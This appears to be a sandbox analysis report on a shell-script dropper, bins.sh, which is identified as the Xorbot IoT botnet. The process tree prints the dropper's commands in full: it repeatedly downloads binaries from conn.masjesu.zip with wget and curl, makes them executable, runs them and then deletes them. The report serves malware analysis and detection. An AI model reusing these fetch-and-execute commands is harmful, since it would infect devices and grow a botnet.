Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/02/2025, 04:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250218-e8t5kaymv8
  • SHA256 cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 17 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:718
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:724
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:741
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        PID:748
      • /bin/chmod
        chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • File and Directory Permissions Modification
        PID:758
      • /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
          PID:760
        • /bin/rm
          rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
          2⤵
            PID:763
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:765
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:774
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • System Network Configuration Discovery
            PID:801
          • /bin/chmod
            chmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • File and Directory Permissions Modification
            PID:832
          • /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            ./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
              PID:833
            • /bin/rm
              rm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
              2⤵
                PID:835
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:836
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:837
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                2⤵
                • System Network Configuration Discovery
                PID:842
              • /bin/chmod
                chmod 777 JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                2⤵
                • File and Directory Permissions Modification
                PID:843
              • /tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                ./JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                2⤵
                  PID:844
                • /bin/rm
                  rm JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                  2⤵
                    PID:846
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    ./DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                    2⤵
                      PID:852
                    • /bin/rm
                      rm DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                      2⤵
                        PID:854
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:855
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:856
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        2⤵
                        • System Network Configuration Discovery
                        PID:858
                      • /bin/chmod
                        chmod 777 Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:859
                      • /tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        ./Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                        2⤵
                          PID:860
                        • /bin/rm
                          rm Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                          2⤵
                            PID:862
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:863
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            PID:864

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx

                              • Path /tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP

                              Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX

                              • Path /tmp/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP

                              JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony

                              • Path /tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP

                              YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

                              • Path /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL

                              • Path /tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                              • Size 127KB
                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                              • MD5 SHA1 SHA512 SSDEEP

                              dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

                              • Path /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP